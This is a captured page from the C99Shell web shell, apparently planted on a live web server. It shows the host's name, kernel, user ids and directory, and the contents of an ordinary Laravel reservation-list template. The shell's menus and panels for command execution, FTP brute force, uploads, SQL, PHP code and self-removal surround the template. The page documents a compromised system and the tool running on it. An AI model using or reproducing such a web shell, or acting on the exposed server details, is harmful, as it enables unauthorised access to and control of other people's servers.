!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/test.qr.picotech.app/public_html/resources/views/reservation/   drwxr-xr-x
Free 29 GB of 117.98 GB (24.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     index.blade.php (11.61 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
@extends('layouts.dashboard')

@section('title',trans('layout.reservations'))

@section('css')
    <link href="{{asset('vendor/datatables/css/jquery.dataTables.min.css')}}" rel="stylesheet">
    <link rel="stylesheet" href="https://cdn.datatables.net/1.10.24/css/dataTables.bootstrap4.min.css">
    <link rel="stylesheet" href="https://cdn.datatables.net/responsive/2.2.7/css/responsive.bootstrap4.min.css">
    <script>
        let orderDataTable = '';
    </script>
<style>
    .dropdown-menu{
        max-width: 30rem !important;
    }
    .text-uper-class{
        text-transform: capitalize;
    }
</style>
@endsection

@section('main-content')
    <div class="row page-titles mx-0">
        <div class="col-sm-6 p-md-0">
            <div class="welcome-text">
                <h4>{{trans('layout.reservations')}}</h4>
                <p class="mb-0">{{trans('layout.reservations')}}</p>
            </div>
        </div>
        <div class="col-sm-6 p-md-0 justify-content-sm-end mt-2 mt-sm-0 d-flex">
            <ol class="breadcrumb">
                <li class="breadcrumb-item"><a href="#">{{trans('layout.home')}}</a></li>
                <li class="breadcrumb-item active"><a href="javascript:void(0)">{{trans('layout.reservations')}}</a></li>
            </ol>
        </div>
    </div>
    <div class="row">
        <div class="col-lg-12">
            <div class="card">
                <div class="card-header">
                    <div class="row">
                        <div class="col-lg-12">
                            <h4 class="card-title">{{trans('layout.list')}}</h4>
                            <form action="">
                                <div class="row mt-3">
                                    <div class="col-5">
                                        <select name="restaurant_id" id="restaurants" class="form-control"
                                                title="{{trans('Select Restaurants')}}">
                                            <option {{request()->get('restaurant_id')=='all'?'selected':''}} value="all">{{trans('layout.all')}}</option>
                                            @if(isset($restaurants)&& $restaurants)
                                                @foreach($restaurants as $restaurant)
                                                    <option
                                                        {{request()->get('restaurant_id')==$restaurant->id?'selected':''}} value="{{$restaurant->id}}">{{$restaurant->name}}
                                                    </option>
                                                @endforeach
                                            @endif
                                        </select>
                                    </div>
                                    <div class="col-5">
                                        <select name="status" id="status" class="form-control"
                                                title="{{trans('layout.select_status')}}">
                                            <option {{request()->get('status')=='all'?'selected':''}} value="all">{{trans('layout.all')}}</option>
                                            <option {{request()->get('status')=='approved'?'selected':''}} value="approved">{{trans('layout.approved')}}</option>
                                            <option {{request()->get('status')=='rejected'?'selected':''}} value="rejected">{{trans('layout.rejected')}}</option>
                                            <option {{request()->get('status')=='pending'?'selected':''}} value="pending">{{trans('layout.pending')}}</option>
                                        </select>
                                    </div>
                                    <div class="col-2 pt-2">
                                        <button type="submit" class="btn btn-sm btn-primary">{{trans('layout.submit')}}</button>
                                    </div>
                                </div>
                            </form>
                        </div>
                    </div>
                    @if(auth()->user()->type == 'restaurant_owner')
                    <div class="pull-right">
                        <a href="{{route('reservation.create')}}" class="btn btn-sm btn-primary">
                            {{ trans('layout.create') }}
                        </a>
                    </div>
                    @endif
                </div>
                <div class="card-body">
                    <div class="table-responsive">
                        <table class="table dt-responsive nowrap w-100" id="orderTable">
                            <thead>
                            <tr>
                                <th><strong>{{trans('layout.customer_details')}}</strong></th>
                                <th><strong>{{trans('layout.reservation_details')}}</strong></th>
                                <th><strong>{{trans('layout.restaurant')}}</strong></th>
                                <th><strong>{{trans('layout.status')}}</strong></th>
                                <th><strong>{{trans('layout.action')}}</strong></th>
                            </tr>
                            </thead>
                            <tbody>
                                @foreach ($reservations as $reservation)
                                    <tr>
                                        <th>
                                            <p><b>{{ trans('layout.name') }} : </b> {{$reservation->user->name}}</p>
                                            <p><b>{{ trans('layout.email') }} : </b> {{$reservation->user->email}}</p>
                                            <p><b>{{ trans('layout.number') }} : </b> {{$reservation->contact_number}}</p>
                                        </th>
                                        <th>
                                            <p><b>{{ trans('layout.date') }} : </b> {{$reservation->date}}</p>
                                            <p><b>{{ trans('layout.party_size') }} : </b> {{$reservation->party_size}}</p>
                                            <p><b>{{ trans('layout.restaurant_name') }} : </b> {{$reservation->restaurant->name}}</p>
                                            <p><b>{{ trans('layout.location') }} : </b> {{$reservation->restaurant->location}}</p>
                                        </th>
                                        <th>
                                            <p>{{$reservation->restaurant->email}}</p>
                                            <p>{{$reservation->restaurant->phone_number}}</p>
                                        </th>
                                        <th>
                                            @if(auth()->user()->type == 'reservation_owner' || auth()->user()->type == 'customer')
                                                @if($reservation->status == 'approved')
                                                    <span class="badge light badge-success text-uper-class">{{$reservation->status}}</span>
                                                @elseif ($reservation->status == 'rejected')
                                                    <span class="badge light badge-danger text-uper-class">{{$reservation->status}}</span>
                                                @else
                                                    <span class="badge light badge-warning text-uper-class">{{$reservation->status}}</span>
                                                @endif
                                            @else
                                            <div class="dropdown">
                                                @php
                                                    $btnClass = $reservation->status == 'approved' ? 'btn-success' :
                                                                ($reservation->status == 'rejected' ? 'btn-danger' : 'btn-warning');
                                                @endphp
                                                @if($reservation->status == 'pending')
                                                <button class="btn dropdown-toggle text-uper-class {{$btnClass}}" type="button" data-toggle="dropdown" aria-expanded="false">
                                                    {{$reservation->status}}
                                                </button>
                                                @else
                                                <button class="btn text-uper-class {{$btnClass}}" type="button">
                                                    {{$reservation->status}}
                                                </button>
                                                @endif
                                                <div class="dropdown-menu">
                                                    @if ($reservation->status == 'pending')
                                                    <a class="dropdown-item change-status" data-id="{{ $reservation->id }}" data-status="approved" href="#">Approved</a>
                                                    <a class="dropdown-item change-status" data-id="{{ $reservation->id }}" data-status="rejected" href="#">Rejected</a>
                                                    @endif
                                                </div>
                                              </div>
                                              @endif
                                        </th>
                                        <th>
                                            @if($reservation->status == 'pending'|| auth()->user()->type == 'admin')
                                                <a href="{{route('edit.reservation',[$reservation->id])}}" class="btn btn-primary btn-sm">{{ trans('layout.edit') }}</a>
                                            @endif
                                        </th>
                                    </tr>
                                @endforeach
                            </tbody>
                        </table>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <div class="modal fade" id="statusModal" style="z-index: 9999">
        <div class="modal-dialog modal-md">
            <div class="modal-content">
                <div class="modal-header border-0 p-3">
                    <h4 class="modal-title">{{trans('Item status changed')}}</h4>
                    <button type="button" class="close" data-dismiss="modal">&times;
                    </button>
                </div>
                <form action="{{ route('change.reservation.status') }}" method="POST">
                    @csrf
                <div class="modal-body">
                    <input type="hidden" id="reservation_id" name="reservation_id">
                    <input type="hidden" id="status_id" name="status">
                    <h5>Are you sure you want to <span class="status_name"></span> this reservation?</h5>
                </div>
                <div class="modal-footer p-2">
                    <button type="submit"
                            class="btn btn-primary">{{trans('layout.confirm')}}</button>
                </div>
            </form>
            </div>
        </div>
    </div>

@endsection

@section('js')
<script>
    $(document).ready(function () {
        $('.change-status').click(function (e) {
            e.preventDefault();
            const reservationId = $(this).data('id');
            const status = $(this).data('status');
            $('#reservation_id').val(reservationId);
            $('#status_id').val(status);
            $('.status_name').text(status);
            $('#statusModal').modal('show');
        });
    });
</script>
@endsection

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--